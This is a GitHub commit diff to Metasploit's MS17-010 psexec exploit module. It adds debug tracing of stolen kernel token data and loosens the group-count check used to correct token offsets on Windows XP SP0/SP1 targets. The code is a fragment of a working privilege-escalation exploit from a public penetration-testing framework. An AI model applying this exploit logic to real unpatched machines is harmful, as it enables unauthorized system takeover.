Skip to content

Commit bbeccdd

Browse files
author
zerosum0x0
committed
more trace and more flexible tolerance for SP0/SP1
1 parent 7007bc1 commit bbeccdd

File tree

1 file changed

+11
-3
lines changed

1 file changed

+11
-3
lines changed

lib/msf/core/exploit/smb/client/psexec_ms17_010.rb

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -122,21 +122,29 @@ def modify_token()
122122
@ctx['tokenData'] = tokenData
123123
@ctx['tokenAddr'] = tokenAddr
124124

125+
if datastore['DBGTRACE']
126+
print_status("TOKEN data = #{bin_to_hex(tokenData)}")
127+
end
128+
125129
userAndGroupCount = tokenData[@ctx['TOKEN_USER_GROUP_CNT_OFFSET']..-1].unpack("V")[0] #unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
126130
userAndGroupsAddr = tokenData[@ctx['TOKEN_USER_GROUP_ADDR_OFFSET']..-1].unpack(fmt)[0] #unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
127131

128132
if @ctx['os'] == 'WINXP' and @ctx['arch'] == 'x86'
129-
if userAndGroupCount > 4 or userAndGroupCount == 0 # check NULL too
133+
if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
130134
print_error("Bad TOKEN offsets detected (group count = #{userAndGroupCount}), performing workaround...")
131135
@ctx['TOKEN_USER_GROUP_CNT_OFFSET'] = @ctx['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
132136
@ctx['TOKEN_USER_GROUP_ADDR_OFFSET'] = @ctx['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
133137

134138
userAndGroupCount = tokenData[@ctx['TOKEN_USER_GROUP_CNT_OFFSET']..-1].unpack("V")[0]
135139
userAndGroupsAddr = tokenData[@ctx['TOKEN_USER_GROUP_ADDR_OFFSET']..-1].unpack(fmt)[0]
136140

141+
if datastore['DBGTRACE']
142+
print_status("New TOKEN offsets (group count = #{userAndGroupCount})")
143+
end
144+
137145
# hopefully its not bad anymore
138-
if userAndGroupCount > 4 or userAndGroupCount == 0 # check NULL too
139-
raise MS17_010_Error, 'Bad TOKEN offsets after workround (group count = #{userAndGroupCount})... Abort > BSOD'
146+
if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
147+
raise MS17_010_Error, "Bad TOKEN offsets after workround (group count = #{userAndGroupCount})... Abort > BSOD"
140148
end
141149
end
142150
end

0 commit comments

Comments
 (0)